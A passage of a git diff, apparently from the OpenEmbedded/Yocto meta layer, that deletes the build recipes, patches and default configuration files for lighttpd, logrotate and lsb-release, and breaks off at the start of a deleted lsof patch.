24 ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
25"
26PACKAGECONFIG:append:libc-musl = " rpcdb"
27
28PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6"
29PACKAGECONFIG[gssapi] = "--enable-gssapi,--disable-gssapi,krb5"
30PACKAGECONFIG[rpcdb] = "--enable-rpcdb,--disable-rpcdb,"
31
32do_install:append() {
33 test -e ${D}${sysconfdir}/netconfig && chown root:root ${D}${sysconfdir}/netconfig
34}
35
36BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lighttpd/lighttpd/index.html.lighttpd b/meta/recipes-extended/lighttpd/lighttpd/index.html.lighttpd
deleted file mode 100644
index f5f1c377b6..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/index.html.lighttpd
+++ /dev/null
@@ -1 +0,0 @@
1<html><body><h1>It works!</h1></body></html>
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd b/meta/recipes-extended/lighttpd/lighttpd/lighttpd
deleted file mode 100644
index f369dce42c..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd
+++ /dev/null
@@ -1,49 +0,0 @@
1#!/bin/sh
2
3PATH=/sbin:/bin:/usr/sbin:/usr/bin
4DAEMON=/usr/sbin/lighttpd
5NAME=lighttpd
6DESC="Lighttpd Web Server"
7OPTS="-f /etc/lighttpd/lighttpd.conf"
8
9configtest() {
10 "$DAEMON" $OPTS -tt || exit 1
11}
12
13case "$1" in
14 start)
15 echo -n "Starting $DESC: "
16 configtest
17 start-stop-daemon --start -x "$DAEMON" -- $OPTS
18 echo "$NAME."
19 ;;
20 stop)
21 echo -n "Stopping $DESC: "
22 start-stop-daemon --stop -x "$DAEMON"
23 echo "$NAME."
24 ;;
25 restart)
26 echo -n "Restarting $DESC: "
27 configtest
28 start-stop-daemon --stop -x "$DAEMON"
29 sleep 1
30 start-stop-daemon --start -x "$DAEMON" -- $OPTS
31 echo "$NAME."
32 ;;
33 reload|force-reload)
34 echo -n "Reloading $DESC: "
35 configtest
36 killall -USR1 "${DAEMON##*/}"
37 echo "$NAME."
38 ;;
39 configtest)
40 configtest
41 ;;
42 *)
43 N=/etc/init.d/$NAME
44 echo "Usage: $N {start|stop|restart|reload|force-reload|configtest}" >&2
45 exit 1
46 ;;
47esac
48
49exit 0
diff --git a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf b/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
deleted file mode 100644
index 47a6c93349..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf
+++ /dev/null
@@ -1,309 +0,0 @@
1# lighttpd configuration file
2#
3# use it as a base for lighttpd 1.0.0 and above
4#
5# $Id: lighttpd.conf,v 1.7 2004/11/03 22:26:05 weigon Exp $
6
7############ Options you really have to take care of ####################
8
9## modules to load
10# at least mod_access and mod_accesslog should be loaded
11# all other module should only be loaded if really neccesary
12# - saves some time
13# - saves memory
14server.modules = (
15# "mod_rewrite",
16# "mod_redirect",
17# "mod_alias",
18 "mod_access",
19# "mod_auth",
20# "mod_status",
21# "mod_setenv",
22# "mod_fastcgi",
23# "mod_proxy",
24# "mod_simple_vhost",
25# "mod_evhost",
26# "mod_userdir",
27# "mod_cgi",
28# "mod_ssi",
29# "mod_expire",
30# "mod_deflate",
31# "mod_rrdtool",
32# "mod_webdav",
33 "mod_accesslog" )
34
35## a static document-root, for virtual-hosting take look at the
36## server.virtual-* options
37server.document-root = "/www/pages/"
38
39## where to send error-messages to
40server.errorlog = "/www/logs/lighttpd.error.log"
41
42# files to check for if .../ is requested
43index-file.names = ( "index.php", "index.html",
44 "index.htm", "default.htm" )
45
46# mimetype mapping
47mimetype.assign = (
48 ".pdf" => "application/pdf",
49 ".sig" => "application/pgp-signature",
50 ".spl" => "application/futuresplash",
51 ".class" => "application/octet-stream",
52 ".ps" => "application/postscript",
53 ".torrent" => "application/x-bittorrent",
54 ".dvi" => "application/x-dvi",
55 ".gz" => "application/x-gzip",
56 ".pac" => "application/x-ns-proxy-autoconfig",
57 ".swf" => "application/x-shockwave-flash",
58 ".tar.gz" => "application/x-tgz",
59 ".tgz" => "application/x-tgz",
60 ".tar" => "application/x-tar",
61 ".zip" => "application/zip",
62 ".mp3" => "audio/mpeg",
63 ".m3u" => "audio/x-mpegurl",
64 ".wma" => "audio/x-ms-wma",
65 ".wax" => "audio/x-ms-wax",
66 ".ogg" => "application/ogg",
67 ".wav" => "audio/x-wav",
68 ".gif" => "image/gif",
69 ".jpg" => "image/jpeg",
70 ".jpeg" => "image/jpeg",
71 ".png" => "image/png",
72 ".xbm" => "image/x-xbitmap",
73 ".xpm" => "image/x-xpixmap",
74 ".xwd" => "image/x-xwindowdump",
75 ".css" => "text/css",
76 ".html" => "text/html",
77 ".htm" => "text/html",
78 ".js" => "text/javascript",
79 ".asc" => "text/plain",
80 ".c" => "text/plain",
81 ".cpp" => "text/plain",
82 ".log" => "text/plain",
83 ".conf" => "text/plain",
84 ".text" => "text/plain",
85 ".txt" => "text/plain",
86 ".dtd" => "text/xml",
87 ".xml" => "text/xml",
88 ".mpeg" => "video/mpeg",
89 ".mpg" => "video/mpeg",
90 ".mov" => "video/quicktime",
91 ".qt" => "video/quicktime",
92 ".avi" => "video/x-msvideo",
93 ".asf" => "video/x-ms-asf",
94 ".asx" => "video/x-ms-asf",
95 ".wmv" => "video/x-ms-wmv",
96 ".bz2" => "application/x-bzip",
97 ".tbz" => "application/x-bzip-compressed-tar",
98 ".tar.bz2" => "application/x-bzip-compressed-tar"
99 )
100
101# Use the "Content-Type" extended attribute to obtain mime type if possible
102#mimetype.use-xattr = "enable"
103
104
105## send a different Server: header
106## be nice and keep it at lighttpd
107# server.tag = "lighttpd"
108
109#### accesslog module
110accesslog.filename = "/www/logs/access.log"
111
112
113
114
115## deny access the file-extensions
116#
117# ~ is for backupfiles from vi, emacs, joe, ...
118# .inc is often used for code includes which should in general not be part
119# of the document-root
120url.access-deny = ( "~", ".inc" )
121
122##
123# which extensions should not be handle via static-file transfer
124#
125# .php, .pl, .fcgi are most often handled by mod_fastcgi or mod_cgi
126static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
127
128######### Options that are good to be but not neccesary to be changed #######
129
130## bind to port (default: 80)
131#server.port = 81
132
133## bind to localhost (default: all interfaces)
134#server.bind = "grisu.home.kneschke.de"
135
136## error-handler for status 404
137#server.error-handler-404 = "/error-handler.html"
138#server.error-handler-404 = "/error-handler.php"
139
140## to help the rc.scripts
141#server.pid-file = "/var/run/lighttpd.pid"
142
143
144###### virtual hosts
145##
146## If you want name-based virtual hosting add the next three settings and load
147## mod_simple_vhost
148##
149## document-root =
150## virtual-server-root + virtual-server-default-host + virtual-server-docroot
151## or
152## virtual-server-root + http-host + virtual-server-docroot
153##
154#simple-vhost.server-root = "/home/weigon/wwwroot/servers/"
155#simple-vhost.default-host = "grisu.home.kneschke.de"
156#simple-vhost.document-root = "/pages/"
157
158
159##
160## Format: <errorfile-prefix><status-code>.html
161## -> ..../status-404.html for 'File not found'
162#server.errorfile-prefix = "/home/weigon/projects/lighttpd/doc/status-"
163
164## virtual directory listings
165#dir-listing.activate = "enable"
166
167## enable debugging
168#debug.log-request-header-on-error = "enable"
169#debug.log-request-header = "enable"
170#debug.log-response-header = "enable"
171#debug.log-request-handling = "enable"
172#debug.log-file-not-found = "enable"
173
174### only root can use these options
175#
176# chroot() to directory (default: no chroot() )
177#server.chroot = "/"
178
179## change uid to <uid> (default: don't care)
180#server.username = "wwwrun"
181
182## change uid to <uid> (default: don't care)
183#server.groupname = "wwwrun"
184
185#### compress module
186#deflate.cache-dir = "/tmp/lighttpd/cache/compress/"
187#deflate.mimetypes = ("text/plain", "text/html")
188#deflate.allowed-encodings = ("gzip")
189
190#### proxy module
191## read proxy.txt for more info
192#proxy.server = ( ".php" =>
193# ( "localhost" =>
194# (
195# "host" => "192.168.0.101",
196# "port" => 80
197# )
198# )
199# )
200
201#### fastcgi module
202## read fastcgi.txt for more info
203## for PHP don't forget to set cgi.fix_pathinfo = 1 in the php.ini
204#fastcgi.server = ( ".php" =>
205# ( "localhost" =>
206# (
207# "socket" => "/tmp/php-fastcgi.socket",
208# "bin-path" => "/usr/local/bin/php"
209# )
210# )
211# )
212
213#### CGI module
214#cgi.assign = ( ".pl" => "/usr/bin/perl",
215# ".cgi" => "/usr/bin/perl" )
216#
217
218#### SSL engine
219#ssl.engine = "enable"
220#ssl.pemfile = "/path/to/fullchain.pem"
221#ssl.privkey = "/path/to/privkey.pem"
222
223#### status module
224#status.status-url = "/server-status"
225#status.config-url = "/server-config"
226
227#### auth module
228## read authentication.txt for more info
229#auth.backend = "plain"
230#auth.backend.plain.userfile = "lighttpd.user"
231#auth.backend.plain.groupfile = "lighttpd.group"
232
233#auth.backend.ldap.hostname = "localhost"
234#auth.backend.ldap.base-dn = "dc=my-domain,dc=com"
235#auth.backend.ldap.filter = "(uid=$)"
236
237#auth.require = ( "/server-status" =>
238# (
239# "method" => "digest",
240# "realm" => "download archiv",
241# "require" => "user=jan"
242# ),
243# "/server-config" =>
244# (
245# "method" => "digest",
246# "realm" => "download archiv",
247# "require" => "valid-user"
248# )
249# )
250
251#### url handling modules (rewrite, redirect, access)
252#url.rewrite = ( "^/$" => "/server-status" )
253#url.redirect = ( "^/wishlist/(.+)" => "http://www.123.org/$1" )
254
255#### both rewrite/redirect support back reference to regex conditional using %n
256#$HTTP["host"] =~ "^www\.(.*)" {
257# url.redirect = ( "^/(.*)" => "http://%1/$1" )
258#}
259
260#
261# define a pattern for the host url finding
262# %% => % sign
263# %0 => domain name + tld
264# %1 => tld
265# %2 => domain name without tld
266# %3 => subdomain 1 name
267# %4 => subdomain 2 name
268#
269#evhost.path-pattern = "/home/storage/dev/www/%3/htdocs/"
270
271#### expire module
272#expire.url = ( "/buggy/" => "access 2 hours", "/asdhas/" => "access plus 1 seconds 2 minutes")
273
274#### ssi
275#ssi.extension = ( ".shtml" )
276
277#### rrdtool
278#rrdtool.binary = "/usr/bin/rrdtool"
279#rrdtool.db-name = "/var/www/lighttpd.rrd"
280
281#### setenv
282#setenv.add-request-header = ( "TRAV_ENV" => "mysql://user@host/db" )
283#setenv.add-response-header = ( "X-Secret-Message" => "42" )
284
285#### variable usage:
286## variable name without "." is auto prefixed by "var." and becomes "var.bar"
287#bar = 1
288#var.mystring = "foo"
289
290## integer add
291#bar += 1
292## string concat, with integer cast as string, result: "www.foo1.com"
293#server.name = "www." + mystring + var.bar + ".com"
294## array merge
295#index-file.names = (foo + ".php") + index-file.names
296#index-file.names += (foo + ".php")
297
298#### include
299#include /etc/lighttpd/lighttpd-inc.conf
300## same as above if you run: "lighttpd -f /etc/lighttpd/lighttpd.conf"
301#include "lighttpd-inc.conf"
302
303#### include_shell
304#include_shell "echo var.a=1"
305## the above is same as:
306#var.a=1
307
308# include other config file fragments from lighttpd.d subdir
309include "/etc/lighttpd.d/*.conf"
diff --git a/meta/recipes-extended/lighttpd/lighttpd_1.4.81.bb b/meta/recipes-extended/lighttpd/lighttpd_1.4.81.bb
deleted file mode 100644
index 40abef784b..0000000000
--- a/meta/recipes-extended/lighttpd/lighttpd_1.4.81.bb
+++ /dev/null
@@ -1,75 +0,0 @@
1SUMMARY = "Lightweight high-performance web server"
2HOMEPAGE = "http://www.lighttpd.net/"
3DESCRIPTION = "Lightweight high-performance web server is designed and optimized for high performance environments. With a small memory footprint compared to other web-servers, effective management of the cpu-load, and advanced feature set (FastCGI, SCGI, Auth, Output-Compression, URL-Rewriting and many more)"
4BUGTRACKER = "http://redmine.lighttpd.net/projects/lighttpd/issues"
5
6LICENSE = "BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://COPYING;md5=e4dac5c6ab169aa212feb5028853a579"
8
9SECTION = "net"
10RDEPENDS:${PN} = "lighttpd-module-dirlisting"
11RRECOMMENDS:${PN} = "lighttpd-module-accesslog"
12
13SRC_URI = "http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-${PV}.tar.xz \
14 file://index.html.lighttpd \
15 file://lighttpd.conf \
16 file://lighttpd \
17 "
18
19SRC_URI[sha256sum] = "d7d42c3fd2fd94b63c915aa7d18f4da3cac5937ddba33e909f81cf50842a5840"
20
21DEPENDS = "virtual/crypt"
22
23PACKAGECONFIG ??= "openssl pcre zlib \
24 ${@bb.utils.contains('DISTRO_FEATURES', 'xattr', 'attr', '', d)} \
25"
26
27PACKAGECONFIG[mysql] = "-Dwith_mysql=enabled,-Dwith_mysql=disabled,mariadb"
28PACKAGECONFIG[ldap] = "-Dwith_ldap=enabled,-Dwith_ldap=disabled,openldap"
29PACKAGECONFIG[attr] = "-Dwith_xattr=true,-Dwith_xattr=false,attr"
30PACKAGECONFIG[openssl] = "-Dwith_openssl=true,-Dwith_openssl=false,openssl"
31PACKAGECONFIG[krb5] = "-Dwith_krb5=enabled,-Dwith_krb5=disabled,krb5"
32PACKAGECONFIG[pcre] = "-Dwith_pcre=pcre2,-Dwith_pcre=disabled,libpcre2"
33PACKAGECONFIG[zlib] = "-Dwith_zlib=enabled,-Dwith_zlib=disabled,zlib"
34PACKAGECONFIG[bzip2] = "-Dwith_bzip=enabled,-Dwith_bzip=disabled,bzip2"
35PACKAGECONFIG[webdav-props] = "-Dwith_webdav_props=enabled,-Dwith_webdav_props=disabled,libxml2 sqlite3"
36PACKAGECONFIG[webdav-locks] = "-Dwith_webdav_locks=enabled,-Dwith_webdav_locks=disabled,util-linux"
37PACKAGECONFIG[lua] = "-Dwith_lua=true,-Dwith_lua=false,lua"
38PACKAGECONFIG[zstd] = "-Dwith_zstd=enabled,-Dwith_zstd=disabled,zstd"
39
40inherit meson pkgconfig update-rc.d gettext systemd
41
42INITSCRIPT_NAME = "lighttpd"
43INITSCRIPT_PARAMS = "defaults 70"
44
45SYSTEMD_SERVICE:${PN} = "lighttpd.service"
46
47do_install:append() {
48 install -d ${D}${sysconfdir}/init.d ${D}${sysconfdir}/lighttpd ${D}${sysconfdir}/lighttpd.d ${D}/www/pages/dav
49 install -m 0755 ${UNPACKDIR}/lighttpd ${D}${sysconfdir}/init.d
50 install -m 0644 ${UNPACKDIR}/lighttpd.conf ${D}${sysconfdir}/lighttpd
51 install -m 0644 ${UNPACKDIR}/index.html.lighttpd ${D}/www/pages/index.html
52
53 install -d ${D}${systemd_system_unitdir}
54 install -m 0644 ${S}/doc/systemd/lighttpd.service ${D}${systemd_system_unitdir}
55 sed -i -e 's,@SBINDIR@,${sbindir},g' \
56 -e 's,@SYSCONFDIR@,${sysconfdir},g' \
57 -e 's,@BASE_BINDIR@,${base_bindir},g' \
58 ${D}${systemd_system_unitdir}/lighttpd.service
59 #For FHS compliance, create symbolic links to /var/log and /var/tmp for logs and temporary data
60 ln -sf ${localstatedir}/log ${D}/www/logs
61 ln -sf ${localstatedir}/tmp ${D}/www/var
62}
63
64# bitbake.conf sets ${libdir}/${BPN}/* in FILES, which messes up the module split.
65# So we re-do the variable.
66FILES:${PN} = "${sysconfdir} /www ${sbindir}"
67
68CONFFILES:${PN} = "${sysconfdir}/lighttpd/lighttpd.conf"
69
70PACKAGES_DYNAMIC += "^lighttpd-module-.*"
71
72python populate_packages:prepend () {
73 lighttpd_libdir = d.expand('${prefix}/lib/lighttpd')
74 do_split_packages(d, lighttpd_libdir, r'^mod_(.*)\.so$', 'lighttpd-module-%s', 'Lighttpd module for %s', extra_depends='')
75}
diff --git a/meta/recipes-extended/logrotate/logrotate/0001-test-avoid-locale-dependent-errno-string.patch b/meta/recipes-extended/logrotate/logrotate/0001-test-avoid-locale-dependent-errno-string.patch
deleted file mode 100644
index efee91252d..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/0001-test-avoid-locale-dependent-errno-string.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From 04b21743980c4e236ca5e8de18173fbd3848573b Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?Christian=20G=C3=B6ttsche?= <cgzones@googlemail.com>
3Date: Sat, 8 Jun 2024 17:59:40 +0200
4Subject: [PATCH] test: avoid locale dependent errno string
5
6String representations of errno values are locale dependent, thus avoid
7using them.
8
9Upstream-Status: Backport [https://github.com/logrotate/logrotate/commit/04b21743980c4e236ca5e8de18173fbd3848573b]
10Signed-off-by: Gyorgy Sarvari <skandigraun@gmail.com>
11---
12 test/test-0112.sh | 2 +-
13 1 file changed, 1 insertion(+), 1 deletion(-)
14
15diff --git a/test/test-0112.sh b/test/test-0112.sh
16index 812632b..fa9eed6 100755
17--- a/test/test-0112.sh
18+++ b/test/test-0112.sh
19@@ -23,7 +23,7 @@ test_reg.log.1.gz 1 zero
20 test_reg.log.2.gz 1 first
21 EOF
22
23-grep "test_fifo.log.1 (read-only) for compression: Operation not supported" error.log >/dev/null
24+grep "^error: unable to open .*/test_fifo\.log\.1 (read-only) for compression: " error.log >/dev/null
25 if [ $? != 0 ]; then
26 echo "No error printed, but there should be one."
27 exit 3
diff --git a/meta/recipes-extended/logrotate/logrotate/run-ptest b/meta/recipes-extended/logrotate/logrotate/run-ptest
deleted file mode 100755
index b272def65f..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/run-ptest
+++ /dev/null
@@ -1,5 +0,0 @@
1#!/bin/sh
2
3set -u
4
5make -k check
diff --git a/meta/recipes-extended/logrotate/logrotate_3.22.0.bb b/meta/recipes-extended/logrotate/logrotate_3.22.0.bb
deleted file mode 100644
index 7995438408..0000000000
--- a/meta/recipes-extended/logrotate/logrotate_3.22.0.bb
+++ /dev/null
@@ -1,115 +0,0 @@
1SUMMARY = "Rotates, compresses, removes and mails system log files"
2SECTION = "console/utils"
3HOMEPAGE = "https://github.com/logrotate/logrotate/"
4DESCRIPTION = "The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files."
5LICENSE = "GPL-2.0-only"
6
7# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
8
9DEPENDS = "coreutils popt"
10
11LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
12
13SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.xz \
14 file://run-ptest \
15 file://0001-test-avoid-locale-dependent-errno-string.patch \
16 "
17
18SRC_URI[sha256sum] = "42b4080ee99c9fb6a7d12d8e787637d057a635194e25971997eebbe8d5e57618"
19
20CVE_STATUS_GROUPS = "CVE_STATUS_RECIPE"
21CVE_STATUS_RECIPE = "CVE-2011-1548 CVE-2011-1549 CVE-2011-1550"
22CVE_STATUS_RECIPE[status] = "not-applicable-platform: CVE is debian, gentoo or SUSE specific on the way logrotate was installed/used"
23
24PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
25
26PACKAGECONFIG[acl] = ",,acl"
27PACKAGECONFIG[selinux] = ",,libselinux"
28
29CONFFILES:${PN} += "${localstatedir}/lib/logrotate.status \
30 ${sysconfdir}/logrotate.conf \
31 ${sysconfdir}/logrotate.d/btmp \
32 ${sysconfdir}/logrotate.d/wtmp"
33
34# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
35# optimization variables, so use it rather than EXTRA_CFLAGS.
36EXTRA_OEMAKE = "\
37 LFS= \
38 OS_NAME='${OS_NAME}' \
39 'CC=${CC}' \
40 'RPM_OPT_FLAGS=${CFLAGS}' \
41 'EXTRA_LDFLAGS=${LDFLAGS}' \
42 ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
43 ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
44"
45
46# OS_NAME in the makefile defaults to `uname -s`. The behavior for
47# freebsd/netbsd is questionable, so leave it as Linux, which only sets
48# INSTALL=install and BASEDIR=/usr.
49OS_NAME = "Linux"
50
51inherit autotools systemd github-releases ptest
52
53SYSTEMD_SERVICE:${PN} = "\
54 ${BPN}.service \
55 ${BPN}.timer \
56"
57
58LOGROTATE_OPTIONS ?= ""
59
60LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
61LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
62LOGROTATE_SYSTEMD_TIMER_PERSISTENT ?= "true"
63
64do_install(){
65 oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
66 mkdir -p ${D}${sysconfdir}/logrotate.d
67 mkdir -p ${D}${localstatedir}/lib
68 install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
69 install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
70 install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
71
72 if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
73 install -d ${D}${systemd_system_unitdir}
74 install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
75 install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
76 [ -z "${LOGROTATE_OPTIONS}" ] ||
77 sed -ri \
78 -e 's|(ExecStart=.*/logrotate.*)$|\1 ${LOGROTATE_OPTIONS}|g' \
79 ${D}${systemd_system_unitdir}/logrotate.service
80 sed -ri \
81 -e 's|(OnCalendar=).*$|\1${LOGROTATE_SYSTEMD_TIMER_BASIS}|g' \
82 -e 's|(AccuracySec=).*$|\1${LOGROTATE_SYSTEMD_TIMER_ACCURACY}|g' \
83 -e 's|(Persistent=).*$|\1${LOGROTATE_SYSTEMD_TIMER_PERSISTENT}|g' \
84 ${D}${systemd_system_unitdir}/logrotate.timer
85 fi
86
87 if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
88 mkdir -p ${D}${sysconfdir}/cron.daily
89 install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
90 fi
91}
92
93do_install_ptest() {
94 cp -r ${S}/test/* ${D}${PTEST_PATH}
95 cp ${S}/test-driver ${D}${PTEST_PATH}
96 cp ${B}/test/Makefile ${D}${PTEST_PATH}
97
98 # Do not rebuild Makefile
99 sed -i 's/^Makefile:/_Makefile:/' ${D}${PTEST_PATH}/Makefile
100
101 # Fix top_builddir and top_srcdir
102 sed -e 's/^top_builddir = \(.*\)/top_builddir = ./' \
103 -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
104 -i ${D}${PTEST_PATH}/Makefile
105
106 # Replace bash with sh
107 sed -i 's,/bin/bash,/bin/sh,' ${D}${PTEST_PATH}/Makefile
108
109 # Replace gawk with awk
110 sed -i 's/gawk/awk/' ${D}${PTEST_PATH}/Makefile
111 ln -s ${sbindir}/logrotate ${D}${PTEST_PATH}
112}
113
114# coreutils is needed to have "readlink"
115RDEPENDS:${PN}-ptest += "make coreutils"
diff --git a/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch b/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch
deleted file mode 100644
index af095fd322..0000000000
--- a/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1From fb0b58be938bab5571ac0bdec3725f6d88b07e9f Mon Sep 17 00:00:00 2001
2From: Jeremy Puhlman <jpuhlman@mvista.com>
3Date: Sat, 22 Feb 2020 19:01:28 +0000
4Subject: [PATCH] Remove timestamp from manpage
5
6Upstream-Status: Submitted [lsb-discuss@lists.linux-foundation.org]
7Signed-off-by: Jeremy A. Puhlman <jpuhlman@mvista.com>
8---
9 Makefile | 2 +-
10 1 file changed, 1 insertion(+), 1 deletion(-)
11
12diff --git a/Makefile b/Makefile
13index 04fdecd..5be8081 100644
14--- a/Makefile
15+++ b/Makefile
16@@ -17,7 +17,7 @@ man: lsb_release.1.gz
17
18 lsb_release.1.gz: lsb_release
19 @./help2man -N --include ./lsb_release.examples --alt_version_key=program_version ./lsb_release >lsb_release.1
20- @gzip -9f lsb_release.1
21+ @gzip -9fn lsb_release.1
22
23 install: all
24 install -D -m 644 lsb_release.1.gz ${mandir}/man1/lsb_release.1.gz
25--
262.13.3
27
diff --git a/meta/recipes-extended/lsb/lsb-release/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch b/meta/recipes-extended/lsb/lsb-release/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch
deleted file mode 100644
index 0175752067..0000000000
--- a/meta/recipes-extended/lsb/lsb-release/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch
+++ /dev/null
@@ -1,38 +0,0 @@
1From cba901945c5a6da9586550498f8e3787c57c3098 Mon Sep 17 00:00:00 2001
2From: Athanasios Oikonomou <athoik@gmail.com>
3Date: Fri, 17 Feb 2017 21:04:04 +0200
4Subject: [PATCH] fix lsb_release to work with busybox head and find
5
6Upstream-Status: Inappropriate [oe-core specific]
7Signed-off-by: Athanasios Oikonomou <athoik@gmail.com>
8
9diff --git a/lsb_release b/lsb_release
10index e7d6024..233b8c1 100755
11--- a/lsb_release
12+++ b/lsb_release
13@@ -209,7 +209,7 @@ EASE ($DISTRIB_CODENAME)"
14 || [ -n "$(echo $DISTRIB_DESCRIPTION | \
15 sed -e "s/.*$DESCSTR_DELI.*//")" ]
16 then
17- TMP_DISTRIB_DESC=$(head -1 $FILENAME 2>/dev/null)
18+ TMP_DISTRIB_DESC=$(head -n 1 $FILENAME 2>/dev/null)
19 [ -z "$DISTRIB_DESCRIPTION" ] \
20 && DISTRIB_DESCRIPTION=$TMP_DISTRIB_DESC
21 else
22@@ -249,10 +249,10 @@ GetDistribInfo() {
23 then
24 CHECKFIRST=$(find $INFO_ROOT/ -maxdepth 1 \
25 -name \*$INFO_DISTRIB_SUFFIX \
26- -and ! -name $INFO_LSB_FILE \
27- -and -type f \
28+ -type f \
29 2>/dev/null \
30- | head -1 ) # keep one of the files found (if many)
31+ | grep -v $INFO_LSB_FILE \
32+ | head -n 1 ) # keep one of the files found (if many)
33 fi
34 InitDistribInfo $CHECKFIRST
35 fi
36--
372.1.4
38
diff --git a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
deleted file mode 100644
index f32cd18370..0000000000
--- a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
+++ /dev/null
@@ -1,27 +0,0 @@
1lsb-release maintains it's own copy of help2man. Include the support
2for specifying SOURCE_DATE_EPOCH from upstream.
3
4Upstream-Status: Pending
5
6Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
7
8diff --git a/help2man b/help2man
9index 13015c2..63439db 100755
10--- a/help2man
11+++ b/help2man
12@@ -173,7 +173,14 @@ my ($help_text, $version_text) = map {
13 or die "$this_program: can't get `--$_' info from $ARGV[0]\n"
14 } qw(help), $opt_version_key;
15
16-my $date = strftime "%B %Y", localtime;
17+my $epoch_secs = time;
18+if (exists $ENV{SOURCE_DATE_EPOCH} and $ENV{SOURCE_DATE_EPOCH} =~ /^(\d+)$/)
19+{
20+ $epoch_secs = $1;
21+ $ENV{TZ} = 'UTC0';
22+}
23+
24+my $date = strftime "%B %Y", localtime $epoch_secs;
25 (my $program = $ARGV[0]) =~ s!.*/!!;
26 my $package = $program;
27 my $version;
diff --git a/meta/recipes-extended/lsb/lsb-release_1.4.bb b/meta/recipes-extended/lsb/lsb-release_1.4.bb
deleted file mode 100644
index a7039ea4d1..0000000000
--- a/meta/recipes-extended/lsb/lsb-release_1.4.bb
+++ /dev/null
@@ -1,37 +0,0 @@
1SUMMARY = "lsb_release support for OpenEmbedded"
2SECTION = "console/utils"
3HOMEPAGE = "https://sourceforge.net/projects/lsb/files"
4LICENSE = "GPL-2.0-or-later"
5
6# lsb_release needs getopt
7RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_getopt}"
8
9LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf"
10
11SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \
12 file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \
13 file://0001-Remove-timestamp-from-manpage.patch \
14 file://help2man-reproducibility.patch \
15 "
16
17SRC_URI[sha256sum] = "99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172"
18
19UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/lsb/files/lsb_release/"
20UPSTREAM_CHECK_REGEX = "/lsb_release/(?P<pver>(\d+[\.\-_]*)+)/"
21
22CLEANBROKEN = "1"
23
24do_install() {
25 oe_runmake install prefix=${D}${root_prefix} mandir=${D}${datadir}/man/ DESTDIR=${D}
26
27 mkdir -p ${D}${sysconfdir}/lsb-release.d
28
29 echo "DISTRIB_ID=${DISTRO}" >> ${D}${sysconfdir}/lsb-release
30 echo "DISTRIB_RELEASE=${DISTRO_VERSION}" >> ${D}${sysconfdir}/lsb-release
31 if [ -n "${DISTRO_CODENAME}" ]; then
32 echo "DISTRIB_CODENAME=\"${DISTRO_CODENAME}\"" >> ${D}${sysconfdir}/lsb-release
33 fi
34 echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release
35}
36
37FILES:${PN} += "${base_libdir}"
diff --git a/meta/recipes-extended/lsof/files/remove-host-information.patch b/meta/recipes-extended/lsof/files/remove-host-information.patch
deleted file mode 100644
index 1f2b4afa69..0000000000
--- a/meta/recipes-extended/lsof/files/remove-host-information.patch
+++ /dev/null
@@ -1,123 +0,0 @@
